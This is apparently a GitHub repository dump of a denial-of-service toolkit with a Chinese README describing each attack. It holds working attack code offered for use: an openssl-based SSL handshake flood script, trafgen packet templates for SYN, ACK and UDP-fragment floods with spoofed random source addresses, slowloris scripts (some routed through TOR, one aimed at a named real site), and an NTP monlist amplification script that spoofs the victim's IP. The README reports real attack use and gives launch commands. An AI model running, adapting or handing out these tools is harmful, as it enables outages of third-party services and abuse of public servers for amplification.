├── thc-ssl-dos ├── VERSION ├── CHANGELOG.TXT ├── Makefile.am ├── src │ ├── Makefile.am │ ├── common.h │ ├── Makefile.in │ └── thc-ssl-dos.c ├── README.md ├── bootstrap ├── config.h.in ├── configure.in ├── config │ ├── missing │ ├── install-sh │ └── depcomp └── Makefile.in ├── qrcode.jpg ├── http-get-dos ├── Makefile ├── README.md └── http_get_dos.c ├── ssl-dos.sh ├── .gitignore ├── pyloris ├── scriptloris_imaps.py ├── scriptloris_httpbasic.py ├── scriptloris_ftp.py ├── scriptloris_deflate.py ├── scriptloris_http.py ├── license │ ├── SocksiPy.txt │ └── PyLoris.txt ├── tor_switcher.py ├── scriptloris_sfspoof.py ├── doc │ └── httploris.txt ├── httploris.py ├── libloris.py ├── pyloris.py └── socks.py ├── synflood.trafgen ├── ackflood.trafgen ├── small_frag.trafgen ├── README.md └── ntp-dos.py /thc-ssl-dos/VERSION: -------------------------------------------------------------------------------- 1 | 1.4 2 | -------------------------------------------------------------------------------- /thc-ssl-dos/CHANGELOG.TXT: -------------------------------------------------------------------------------- 1 | 1.4 warnings 2 | 1.1 initial version 3 | 4 | -------------------------------------------------------------------------------- /qrcode.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/codeshold/ddos-dos-tools/HEAD/qrcode.jpg -------------------------------------------------------------------------------- /thc-ssl-dos/Makefile.am: -------------------------------------------------------------------------------- 1 | SUBDIRS = src 2 | EXTRA_DIST = config VERSION bootstrap CHANGELOG.TXT README.TXT 3 | 4 | -------------------------------------------------------------------------------- /thc-ssl-dos/src/Makefile.am: -------------------------------------------------------------------------------- 1 | bin_PROGRAMS = thc-ssl-dos 2 | thc_ssl_down_SOURCES = thc-ssl-dos.c 3 | noinst_HEADERS = common.h 4 | -------------------------------------------------------------------------------- /http-get-dos/Makefile: -------------------------------------------------------------------------------- 1 | CC?=gcc 2 | CFLAGS?=-Wall -g -O2 3 | TARGETS=http_get_dos 4 | #LIBS= 5 | 6 | UNAME := $(shell uname) 7 | 8 | all:: $(TARGETS) $(LIBS) 9 | 10 | http_get_dos: http_get_dos.c $(LIBS) 11 | $(CC) -o http_get_dos http_get_dos.c $(LIBS) $(CFLAGS) 12 | 13 | clean: 14 | rm -f *~ *.o $(TARGETS) 15 | -------------------------------------------------------------------------------- /ssl-dos.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # author: wuzhimang@gmail.com 3 | 4 | target=127.0.0.1 # IP 5 | port=443 6 | parallel=100 7 | 8 | thc-ssl-dosit() 9 | { 10 | while :; 11 | do 12 | (while :; do echo R; done) | openssl s_client -connect $target:$port 2>/dev/null; 13 | done 14 | } 15 | 16 | for x in `seq 1 $parallel`; 17 | do 18 | thc-ssl-dosit & 19 | done 20 | -------------------------------------------------------------------------------- /thc-ssl-dos/README.md: -------------------------------------------------------------------------------- 1 | 2 | A tool to stress test the SSL handshake by triggering processor intensive 3 | RSA_encrypt() calls on the server side. 4 | 5 | See more documentation and paper at: 6 | 7 | 8 | http://www.thc.org/thc-ssl-down 9 | 10 | COMPILE 11 | ======= 12 | 13 | # ./configure 14 | # make all 15 | # src/thc-ssl-down -h 16 | 17 | 18 | Yours sincerly, 19 | 20 | The Hackers Choice 21 | http://www.thc.org 22 | 23 | -------------------------------------------------------------------------------- /thc-ssl-dos/src/common.h: -------------------------------------------------------------------------------- 1 | 2 | #ifndef __THC_COMMON_H__ 3 | #define __THC_COMMON_H__ 1 4 | 5 | #ifdef HAVE_CONFIG_H 6 | # include 7 | #endif 8 | 9 | #define FD_SETSIZE 1024 10 | 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | #include 23 | #include 24 | #include 25 | #include 26 | 27 | //#define int_ntoa(x) inet_ntoa(*((struct in_addr *)&(x))) 28 | 29 | #endif 30 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | *~ 2 | *.swp 3 | *.swo 4 | 5 | ## C.gitignore 6 | # Prerequisites 7 | *.d 8 | 9 | # Object files 10 | *.o 11 | *.ko 12 | *.obj 13 | *.elf 14 | 15 | # Linker output 16 | *.ilk 17 | *.map 18 | *.exp 19 | 20 | # Precompiled Headers 21 | *.gch 22 | *.pch 23 | 24 | # Libraries 25 | *.lib 26 | *.a 27 | *.la 28 | *.lo 29 | 30 | # Shared objects (inc. Windows DLLs) 31 | *.dll 32 | *.so 33 | *.so.* 34 | *.dylib 35 | 36 | # Executables 37 | *.exe 38 | *.out 39 | *.app 40 | *.i*86 41 | *.x86_64 42 | *.hex 43 | 44 | # Debug files 45 | *.dSYM/ 46 | *.su 47 | *.idb 48 | *.pdb 49 | 50 | # Kernel Module Compile Results 51 | *.mod* 52 | *.cmd 53 | modules.order 54 | Module.symvers 55 | Mkfile.old 56 | dkms.conf 57 | -------------------------------------------------------------------------------- /http-get-dos/README.md: -------------------------------------------------------------------------------- 1 | http_get_dos 2 | ======= 3 | 4 | http_get_dos is a very basic HTTP tool, written to find the maximum throughput a computer can physically produce, in terms of requests per second. 5 | 6 | Everything runs in one thread, for maximum performance. Only plain HTTP is supported. 7 | 8 | ````bash 9 | $ http_get_dos --help 10 | 11 | Usage: http_get_dos [OPTIONS...] URL 12 | OPTIONS 13 | -n, --requests=N Total number of requests 14 | -c, --concurrency=N Number of concurrent connections 15 | -H, --header Add a HTTP header 16 | -h, --help Display this help and exit 17 | ```` 18 | 19 | Send 1M requests to your localhost web server, adding a custom header: 20 | 21 | ````bash 22 | $ http_get_dos -n 1000000 -c 1000 -H "Connection: keep-alive" http://localhost/path 23 | ```` 24 | -------------------------------------------------------------------------------- /pyloris/scriptloris_imaps.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python 2 | 3 | """ 4 | scriptloris_imaps.py 5 | A quick script to demonstrate the scripting functionality and how 6 | it might be used to exploit protocols other than HTTP, such as IMAPS. 7 | """ 8 | 9 | host = 'imaps.example.com' 10 | port = 993 11 | 12 | from libloris import * 13 | 14 | def main(host, port): 15 | loris = ScriptLoris() 16 | 17 | loris.options['host'] = host 18 | loris.options['port'] = port 19 | loris.options['ssl'] = True 20 | 21 | loris.options['threadlimit'] = 64 22 | loris.options['connectionlimit'] = 4092 23 | loris.options['connectionspeed'] = 1 24 | 25 | loris.options['request'] = '' 26 | for i in range(1000): 27 | loris.options['request'] += 'a%02i CAPABILITY\n' % (i) 28 | 29 | loris.mainloop() 30 | 31 | if __name__ == "__main__": 32 | main(host, port) -------------------------------------------------------------------------------- /thc-ssl-dos/bootstrap: -------------------------------------------------------------------------------- 1 | #! /bin/sh 2 | 3 | DIE=0 4 | 5 | autoconf --version < /dev/null > /dev/null 2>&1 6 | if test $? -ne 0; then 7 | echo 8 | echo "You must have autoconf installed." 9 | DIE=1 10 | fi 11 | 12 | automake --version < /dev/null > /dev/null 2>&1 13 | if test $? -ne 0; then 14 | echo 15 | echo "You must have automake installed." 16 | DIE=1 17 | fi 18 | 19 | if test "$DIE" -eq 1; then 20 | exit -1 21 | fi 22 | 23 | echo "Removing old files..." 24 | rm -f configure Makefile Makefile.in src/Makefile src/Makefile.in config.h config.status aclocal.m4 config.cache config.log 25 | 26 | mkdir config 2>/dev/null >/dev/null 27 | 28 | echo "aclocal -I ." 29 | aclocal -I . 30 | if test $? -ne 0; then 31 | exit -1 32 | fi 33 | echo "autoheader" 34 | autoheader 35 | if test $? -ne 0; then 36 | exit -1 37 | fi 38 | echo "automake --foreign --add-missing" 39 | automake --foreign --add-missing 40 | if test $? -ne 0; then 41 | exit -1 42 | fi 43 | echo "autoconf" 44 | autoconf 45 | echo "BOOTSTRAP COMPLETE" 46 | 47 | -------------------------------------------------------------------------------- /pyloris/scriptloris_httpbasic.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python 2 | 3 | """ 4 | scriptloris_http.py 5 | A quick script to demonstrate some of the basic features of scripting 6 | functionality built in to the libloris module. 7 | """ 8 | 9 | # Connection information 10 | host = 'www.example.com' 11 | port = 80 12 | 13 | from libloris import * 14 | 15 | def main(host, port): 16 | # Instantiate the ScriptLoris object 17 | loris = ScriptLoris() 18 | 19 | # Set the connection options 20 | loris.options['host'] = host 21 | loris.options['port'] = port 22 | loris.options['threadlimit'] = 25 23 | loris.options['connectionlimit'] = 256 24 | loris.options['connectionspeed'] = 15 25 | 26 | # Build the HTTP request body 27 | loris.options['request'] = 'GET / HTTP/1.1\r\n' 28 | loris.options['request'] += 'Host: %s\r\n' % (host) 29 | loris.options['request'] += 'User-Agent: PyLoris (scriptloris_http.py (http://pyloris.sf.net)\r\n' 30 | loris.options['request'] += 'A' * 1024 * 1024 31 | 32 | # Launch the attack 33 | loris.mainloop() 34 | 35 | if __name__ == "__main__": 36 | main(host, port) -------------------------------------------------------------------------------- /pyloris/scriptloris_ftp.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python 2 | 3 | """ 4 | scriptloris_ftp.py 5 | A quick script to demonstrate how PyLoris could be used to overwhelm 6 | an FTP server. Routed through TOR for extra credit. 7 | 8 | This script requires TOR to be setup and running on localhost:9050. 9 | """ 10 | 11 | host = 'ftp.example.com' 12 | port = 21 13 | sockshost = 'localhost' 14 | socksport = 9050 15 | 16 | from libloris import * 17 | 18 | def main(host, port, sockshost, socksport): 19 | loris = ScriptLoris() 20 | 21 | loris.options['host'] = host 22 | loris.options['port'] = port 23 | loris.options['request'] = 'USER anonymous\r\n' 24 | loris.options['request'] += 'PASS anonymous@domain.com\r\n' 25 | loris.options['request'] += 'A' * (1024 * 1042) 26 | 27 | loris.options['threadlimit'] = 16 28 | loris.options['connectionlimit'] = 0 29 | loris.options['timebetweenconnections'] = 0.01 30 | 31 | # Enable SOCKS5 on local port 9050 32 | loris.options['socksversion'] = 'SOCKS5' 33 | loris.options['sockshost'] = sockshost 34 | loris.options['socksport'] = socksport 35 | 36 | loris.mainloop() 37 | 38 | if __name__ == "__main__": 39 | main(host, port, sockshost, socksport) 40 | -------------------------------------------------------------------------------- /pyloris/scriptloris_deflate.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python 2 | 3 | """ 4 | scriptloris_defalte.py 5 | A quick script to exploit a mod_deflate DoS vulnerability described on the 6 | dev@httpd.apache.org mailing list. 7 | 8 | http://www.mail-archive.com/dev@httpd.apache.org/msg44323.html 9 | """ 10 | 11 | host = 'www.example.com' 12 | port = 80 13 | filename = '/large/file.txt' 14 | 15 | from libloris import * 16 | 17 | def main(host, port, filename): 18 | loris = ScriptLoris() 19 | 20 | loris.options['host'] = host 21 | loris.options['port'] = port 22 | loris.options['request'] = 'GET %s HTTP/1.1\r\n' % (host) 23 | loris.options['request'] += 'Host: %s\r\n' % (filename) 24 | loris.options['request'] += 'User-Agent: PyLoris (scriptloris_deflate.py) (http://pyloris.sf.net/)\r\n' 25 | loris.options['request'] = 'Accept-Encoding: gzip\r\n\r\n' 26 | 27 | loris.options['attacklimit'] = 0 28 | loris.options['connectionlimit'] = 8 29 | loris.options['threadlimit'] = 2 30 | loris.options['timebetweenthreads'] = 0 31 | loris.options['timebetweenconnections'] = 1 32 | loris.options['quitimmediately'] = True 33 | 34 | loris.mainloop() 35 | 36 | if __name__ == "__main__": 37 | main(host, port, filename) 38 | -------------------------------------------------------------------------------- /pyloris/scriptloris_http.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python 2 | 3 | """ 4 | scriptloris_http.py 5 | A quick script to demonstrate some of the basic features of scripting 6 | functionality built in to the libloris module. 7 | 8 | This script requires TOR to be setup and running on localhost:9050. 9 | """ 10 | 11 | host = 'www.motomastyle.com' 12 | port = 80 13 | sockshost = 'localhost' 14 | socksport = 9050 15 | 16 | from libloris import * 17 | 18 | def main(host, port, sockshost, socksport): 19 | loris = ScriptLoris() 20 | 21 | loris.options['host'] = host 22 | loris.options['port'] = port 23 | loris.options['request'] = 'GET / HTTP/1.1\r\n' 24 | loris.options['request'] += 'Host: %s\r\n' % (host) 25 | loris.options['request'] += 'User-Agent: PyLoris (scriptloris_http.py (http://pyloris.sf.net)\r\n' 26 | 27 | loris.options['threadlimit'] = 25 28 | loris.options['connectionlimit'] = 256 29 | loris.options['connectionspeed'] = 15 30 | 31 | # Enable SOCKS5 on local port 9050 32 | loris.options['socksversion'] = 'SOCKS5' 33 | loris.options['sockshost'] = sockshost 34 | loris.options['socksport'] = socksport 35 | 36 | loris.mainloop() 37 | 38 | if __name__ == "__main__": 39 | main(host, port, sockshost, socksport) 40 | -------------------------------------------------------------------------------- /pyloris/license/SocksiPy.txt: -------------------------------------------------------------------------------- 1 | Copyright 2006 Dan-Haim. All rights reserved. 2 | 3 | Redistribution and use in source and binary forms, with or without modification, 4 | are permitted provided that the following conditions are met: 5 | 1. Redistributions of source code must retain the above copyright notice, this 6 | list of conditions and the following disclaimer. 7 | 2. Redistributions in binary form must reproduce the above copyright notice, 8 | this list of conditions and the following disclaimer in the documentation 9 | and/or other materials provided with the distribution. 10 | 3. Neither the name of Dan Haim nor the names of his contributors may be used 11 | to endorse or promote products derived from this software without specific 12 | prior written permission. 13 | 14 | THIS SOFTWARE IS PROVIDED BY DAN HAIM "AS IS" AND ANY EXPRESS OR IMPLIED 15 | WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF 16 | MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO 17 | EVENT SHALL DAN HAIM OR HIS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, 18 | INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT 19 | LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA 20 | OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF 21 | LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT 22 | OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMANGE. 23 | -------------------------------------------------------------------------------- /pyloris/license/PyLoris.txt: -------------------------------------------------------------------------------- 1 | Copyright (c) 2009-2010, Christopher Gilbert 2 | All rights reserved. 3 | 4 | Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 5 | 6 | 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 7 | 8 | 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 9 | 10 | 3. Neither the name of Christopher Gilbert nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. 11 | 12 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -------------------------------------------------------------------------------- /synflood.trafgen: -------------------------------------------------------------------------------- 1 | /* TCP SYN attack ( 64byte ) 2 | * Command example: 3 | * trafgen --cpp --dev em2 --conf synflood.trafgen --verbose 4 | * Note: dynamic elements "drnd()" make trafgen slower 5 | */ 6 | 7 | #define ETH_P_IP 0x0800 8 | 9 | #define SYN (1 << 1) 10 | #define ACK (1 << 4) 11 | #define ECN (1 << 6) 12 | 13 | { 14 | /* --- Ethernet Header --- */ 15 | /* NEED ADJUST */ 16 | 0x00, 0x12, 0xc0, 0x02, 0xac, 0x56, # MAC Destination 17 | 0x00, 0x12, 0xc0, drnd(3), # MAC Source 18 | 19 | const16(ETH_P_IP), 20 | /* IPv4 Version, IHL, TOS */ 21 | 0b01000101, 0, 22 | /* IPv4 Total Len */ 23 | const16(46), 24 | /* IPv4 Ident */ 25 | drnd(2), 26 | //const16(2), 27 | 28 | /* IPv4 Flags, Frag Off */ 29 | 0b01000000, 0, 30 | /* IPv4 TTL */ 31 | 64, 32 | /* Proto TCP */ 33 | 0x06, 34 | /* IPv4 Checksum (IP header from, to) */ 35 | csumip(14, 33), 36 | 37 | /* NEED ADJUST */ 38 | 10, 10, 88, drnd(1), # Source IP 39 | 10, 10, 88, 172, # Dest IP 40 | 41 | /* TCP Source Port */ 42 | drnd(2), 43 | /* TCP Dest Port */ 44 | const16(80), 45 | /* TCP Sequence Number */ 46 | drnd(4), 47 | /* TCP Ackn. Number */ 48 | const32(0), /* NOTICE ACK==zero with SYN packets */ 49 | 50 | /* TCP Header length + Flags */ 51 | //const16((0x5 << 12) | SYN | ECN) /* TCP SYN+ECN Flag */ 52 | //const16((0x5 << 12) | SYN | ACK) /* TCP SYN+ACK Flag */ 53 | const16((0x5 << 12) | SYN) /* TCP SYN Flag */ 54 | //const16((0x5 << 12) | ACK) /* TCP ACK Flag */ 55 | 56 | /* Window Size */ 57 | const16(16), 58 | /* TCP Checksum (offset IP, offset TCP) */ 59 | csumtcp(14, 34), 60 | const16(0), /*PAD*/ 61 | 62 | /* Data */ 63 | "SYNswf" 64 | } 65 | 66 | -------------------------------------------------------------------------------- /ackflood.trafgen: -------------------------------------------------------------------------------- 1 | /* TCP ACK attack ( 64byte ) 2 | * Command example: 3 | * trafgen --cpp --dev em2 --conf ackflood.trafgen --verbose 4 | * Note: dynamic elements "drnd()" make trafgen slower 5 | */ 6 | 7 | #define ETH_P_IP 0x0800 8 | 9 | #define SYN (1 << 1) 10 | #define ACK (1 << 4) 11 | #define ECN (1 << 6) 12 | 13 | { 14 | /* --- Ethernet Header --- */ 15 | /* NEED ADJUST */ 16 | 0x00, 0x12, 0xc0, 0x02, 0xac, 0x56, # MAC Destination 17 | 0x00, 0x12, 0xc0, drnd(3), # MAC Source 18 | 19 | const16(ETH_P_IP), 20 | /* IPv4 Version, IHL, TOS */ 21 | 0b01000101, 0, 22 | /* IPv4 Total Len */ 23 | const16(46), 24 | /* IPv4 Ident */ 25 | drnd(2), 26 | //const16(2), 27 | 28 | /* IPv4 Flags, Frag Off */ 29 | 0b01000000, 0, 30 | /* IPv4 TTL */ 31 | 64, 32 | /* Proto TCP */ 33 | 0x06, 34 | /* IPv4 Checksum (IP header from, to) */ 35 | csumip(14, 33), 36 | 37 | /* NEED ADJUST */ 38 | 10, 10, 88, drnd(1), # Source IP 39 | 10, 10, 88, 172, # Dest IP 40 | 41 | /* TCP Source Port */ 42 | drnd(2), 43 | /* TCP Dest Port */ 44 | const16(80), 45 | /* TCP Sequence Number */ 46 | drnd(4), 47 | /* TCP Ackn. Number */ 48 | drnd(4), 49 | 50 | /* TCP Header length + Flags */ 51 | //const16((0x5 << 12) | SYN | ECN) /* TCP SYN+ECN Flag */ 52 | //const16((0x5 << 12) | SYN | ACK) /* TCP SYN+ACK Flag */ 53 | //const16((0x5 << 12) | SYN) /* TCP SYN Flag */ 54 | const16((0x5 << 12) | ACK) /* TCP ACK Flag */ 55 | 56 | /* Window Size */ 57 | const16(16), 58 | /* TCP Checksum (offset IP, offset TCP) */ 59 | csumtcp(14, 34), 60 | const16(0), /*PAD*/ 61 | 62 | /* Data */ 63 | "ACKswf" 64 | } 65 | 66 | -------------------------------------------------------------------------------- /small_frag.trafgen: -------------------------------------------------------------------------------- 1 | /* UDP fragment DoS attack 2 | * Command example: 3 | * trafgen --cpp --dev em2 --conf small_frag.trafgen --verbose 4 | * Note: dynamic elements "drnd()" make trafgen slower 5 | */ 6 | // trafgen packet conf for fragment DoS attack 7 | // ------------------------------------------- 8 | // - Need to randomize the frag ID 9 | // - Use trafgen support for dynamic checksum recalc 10 | // 11 | // Checksum cannot be fixed with iptables: 12 | // iptables -t mangle -I POSTROUTING -d 192.168.51.2 -j CHECKSUM --checksum-fill 13 | // Because traffic is injected a place which don't have any NF hooks 14 | // 15 | 16 | { 17 | // --- Ethernet Header --- 18 | 0x00, 0x1b, 0x21, 0x3c, 0x9d, 0xf8, // MAC Destination 19 | 0x90, 0xe2, 0xba, 0x0a, 0x56, 0xb4, // MAC Source 20 | const16(0x0800), // Protocol 21 | 22 | // --- IP Header --- 23 | // IPv4 Version(4-bit) + IHL(4-bit), TOS 24 | 0b01000101, 0x00, 25 | // IPv4 Total Len 26 | const16(40), 27 | 28 | // ID, notice runtime dynamic random 29 | drnd(2), 30 | 31 | // IPv4 3-bit flags + 13-bit fragment offset 32 | // 001 = More fragments 33 | 0b00100000, 0b00000000, 34 | 35 | 64, //TTL 36 | 17, // Proto UDP 37 | 38 | // Dynamic IP Checksum (notice offsets are zero indexed) 39 | csumip(14, 33), 40 | 41 | 192, 168, 51, 1, // Source IP 42 | 192, 168, 51, 2, // Dest IP 43 | 44 | // --- UDP Header --- 45 | // As this is a fragment the below stuff does not matter too much 46 | const16(48054), // src port 47 | const16(43514), // dst port 48 | const16(20), // UDP length 49 | 50 | // UDP checksum can be dyn calc via csumudp(offset IP, offset TCP) 51 | // which is csumudp(14, 34), but for UDP its allowed to be zero 52 | const16(0), 53 | 54 | // Payload 55 | 'A', fill(0x41, 11), 56 | } -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ## DDos/DoS工具集 2 | 本仓库包含了多类DDoS/DoS工具,自己已使用到实际的攻击测试中... 3 | 4 | 5 | > 技术交流QQ群: 关注微信公众号【rich和rich的朋友】--> 获取【技术QQ群】 6 | > 7 | > 8 | 9 | 10 | ### 1. SynFlood 攻击 11 | > 借助`netsniff-ng`套件中的`trafgen`工具,其可伪造源ip发起DDoS攻击 12 | 13 | - `trafgen`是一款高速的,多线程数据包生成器,官方测试显示其速度可达到12Mpps,自己在`Intel(R) Xeon(R) CPU E5-2620 v3 @ 2.40GHz`下测得的发包速率有500Mbit/s多。通过对比其他开源程序,本工具的发包性能是自己测试中性能表现最高的。 14 | - [synflood.trafgen](https://github.com/wenfengshi/ddos-dos-tools/blob/master/synflood.trafgen)是对应的配置文件模版,修改文件里的源/目的MAC地址以及源/目的IP后,命令行直接运行`trafgen --cpp --dev eth0 --conf synflood.trafgen --cpu 2 --verbose`即可发起synflood攻击 15 | - 通过添加`trafgen`命令行参数`--gap`修改发包的速率,具体请`man trafgen` 16 | - 对应工具可直接通过在线源进行安装,CentOS下`yum install netsniff-ng`即可安装整个套件,其中包含trafgen等工具。(预先可能需安装fedora源,`yum install epel-release.noarch -y`) 17 | 18 | ### 2. AckFlood 攻击 19 | > 同SynFlood类似 20 | 21 | - [ackflood.trafgen](https://github.com/wenfengshi/ddos-dos-tools/blob/master/ackflood.trafgen)是对应的配置文件模版,修改文件里的源/目的MAC地址以及源/目的IP后,命令行直接运行`trafgen --cpp --dev eth0 --conf ackflood.trafgen --cpu 2 --verbose`即可发起ackflood攻击 22 | 23 | ### 3. SSL 攻击 24 | - [thc-ssl-dos](https://github.com/wenfengshi/ddos-dos-tools/tree/master/thc-ssl-dos)是一款有名的ssl攻击程序,原理是ssl重新协商机制,但对于关闭了的或不支持SSL重协商的服务端,该工具将失效。 25 | - [ssl-dos.sh](https://github.com/wenfengshi/ddos-dos-tools/blob/master/ssl-dos.sh)是自己写的一个简单的ssl攻击脚本,且适用于不支持ssl重协商的服务端,该脚本借助的是openssl工具。 26 | 27 | ### 4. HTTP GET 攻击 28 | - [http-get-dos](https://github.com/wenfengshi/ddos-dos-tools/tree/master/http-get-dos)是一个简单的、高性能HTTP GET DOS工具,可自定义HTTP请求头、连接数、总的HTTP请求数等 29 | - 进入目录下`make`编译后,`http-get-dos -h` 查看使用信息 30 | 31 | ### 5. HTTP 慢速攻击 32 | - [pyloris](https://github.com/wenfengshi/ddos-dos-tools/blob/master/pyloris)是一款开源的HTTP慢速DOS攻击软件,本版本为3.2版本,详情见[主页](https://motoma.io/pyloris/),含图形界面,使用很方便 33 | 34 | ### 6. UDP fragment 攻击 35 | > 同SynFlood类似 36 | 37 | - [small_frag.trafgen](https://github.com/wenfengshi/ddos-dos-tools/blob/master/small_frag.trafgen)是对应的配置文件模版,修改文件里的源/目的MAC地址以及源/目的IP后,命令行直接运行`trafgen --cpp --dev eth0 --conf small_frag.trafgen --cpu 2 --verbose`即可发起UDP fragment DoS attack攻击 38 | 39 | ### 7. DoS放大攻击 40 | - [NTP DoS](https://github.com/wenfengshi/ddos-dos-tools/blob/master/ntp-dos.py) 基于NTP协议的DoS放大攻击 41 | - [DNS DoS](https://github.com/wenfengshi/ddos-dos-tools/blob/master/dns-dos.py) 基于DNS协议的DoS放大攻击 42 | - [SNMP DoS](https://github.com/wenfengshi/ddos-dos-tools/blob/master/snmp-dos.py) 基于SNMP协议的DoS放大攻击 43 | - [SSDP DoS](https://github.com/wenfengshi/ddos-dos-tools/blob/master/ssdp-dos.py) 基于SSDP协议的DoS放大攻击 44 | 45 | 46 | ## Star History 47 | 48 | [![Star History Chart](https://api.star-history.com/svg?repos=codeshold/ddos-dos-tools&type=Date)](https://star-history.com/#codeshold/ddos-dos-tools&Date) 49 | -------------------------------------------------------------------------------- /ntp-dos.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | from scapy.all import * 4 | import sys 5 | import threading 6 | import time 7 | import random # For Random source port 8 | 9 | #NTP Amp DOS attack 10 | #usage ntpdos.py ex: ntpdos.py 1.2.3.4 file.txt 10 11 | #FOR USE ON YOUR OWN NETWORK ONLY 12 | 13 | #packet sender 14 | def deny(): 15 | #Import globals to function 16 | global ntplist 17 | global currentserver 18 | global data 19 | global target 20 | ntpserver = ntplist[currentserver] #Get new server 21 | currentserver = currentserver + 1 #Increment for next 22 | packet = IP(dst=ntpserver,src=target)/UDP(sport=random.randint(2000,65535),dport=123)/Raw(load=data) #BUILD IT 23 | send(packet,loop=1) #SEND IT 24 | 25 | #So I dont have to have the same stuff twice 26 | def printhelp(): 27 | print "NTP Amplification DOS Attack" 28 | print "By DaRkReD" 29 | print "Usage ntpdos.py " 30 | print "ex: ex: ntpdos.py 1.2.3.4 file.txt 10" 31 | print "NTP serverlist file should contain one IP per line" 32 | print "MAKE SURE YOUR THREAD COUNT IS LESS THAN OR EQUAL TO YOUR NUMBER OF SERVERS" 33 | exit(0) 34 | 35 | try: 36 | if len(sys.argv) < 4: 37 | printhelp() 38 | #Fetch Args 39 | target = sys.argv[1] 40 | 41 | #Help out idiots 42 | if target in ("help","-h","h","?","--h","--help","/?"): 43 | printhelp() 44 | 45 | ntpserverfile = sys.argv[2] 46 | numberthreads = int(sys.argv[3]) 47 | #System for accepting bulk input 48 | ntplist = [] 49 | currentserver = 0 50 | with open(ntpserverfile) as f: 51 | ntplist = f.readlines() 52 | 53 | #Make sure we dont out of bounds 54 | if numberthreads > int(len(ntplist)): 55 | print "Attack Aborted: More threads than servers" 56 | print "Next time dont create more threads than servers" 57 | exit(0) 58 | 59 | #Magic Packet aka NTP v2 Monlist Packet 60 | data = "\x17\x00\x03\x2a" + "\x00" * 4 61 | 62 | #Hold our threads 63 | threads = [] 64 | print "Starting to flood: "+ target + " using NTP list: " + ntpserverfile + " With " + str(numberthreads) + " threads" 65 | print "Use CTRL+C to stop attack" 66 | 67 | #Thread spawner 68 | for n in range(numberthreads): 69 | thread = threading.Thread(target=deny) 70 | thread.daemon = True 71 | thread.start() 72 | 73 | threads.append(thread) 74 | 75 | #In progress! 76 | print "Sending..." 77 | 78 | #Keep alive so ctrl+c still kills all them threads 79 | while True: 80 | time.sleep(1) 81 | except KeyboardInterrupt: 82 | print("Script Stopped [ctrl + c]... Shutting down") 83 | # Script ends here 84 | 85 | -------------------------------------------------------------------------------- /thc-ssl-dos/config.h.in: -------------------------------------------------------------------------------- 1 | /* config.h.in. Generated from configure.in by autoheader. */ 2 | 3 | /* Define that you found /dev/urandom */ 4 | #undef HAVE_DEVURANDOM 5 | 6 | /* Define to 1 if you have the `gettimeofday' function. */ 7 | #undef HAVE_GETTIMEOFDAY 8 | 9 | /* Define to 1 if you have the header file. */ 10 | #undef HAVE_INTTYPES_H 11 | 12 | /* Define to 1 if you have the `crypto' library (-lcrypto). */ 13 | #undef HAVE_LIBCRYPTO 14 | 15 | /* Define to 1 if you have the `nsl' library (-lnsl). */ 16 | #undef HAVE_LIBNSL 17 | 18 | /* Define to 1 if you have the `socket' library (-lsocket). */ 19 | #undef HAVE_LIBSOCKET 20 | 21 | /* Define to 1 if you have the `ssl' library (-lssl). */ 22 | #undef HAVE_LIBSSL 23 | 24 | /* Define to 1 if you have the `memcpy' function. */ 25 | #undef HAVE_MEMCPY 26 | 27 | /* Define to 1 if you have the header file. */ 28 | #undef HAVE_MEMORY_H 29 | 30 | /* Define to 1 if you have the `snprintf' function. */ 31 | #undef HAVE_SNPRINTF 32 | 33 | /* Define to 1 if you have the header file. */ 34 | #undef HAVE_STDINT_H 35 | 36 | /* Define to 1 if you have the header file. */ 37 | #undef HAVE_STDLIB_H 38 | 39 | /* Define to 1 if you have the `strchr' function. */ 40 | #undef HAVE_STRCHR 41 | 42 | /* Define to 1 if you have the header file. */ 43 | #undef HAVE_STRINGS_H 44 | 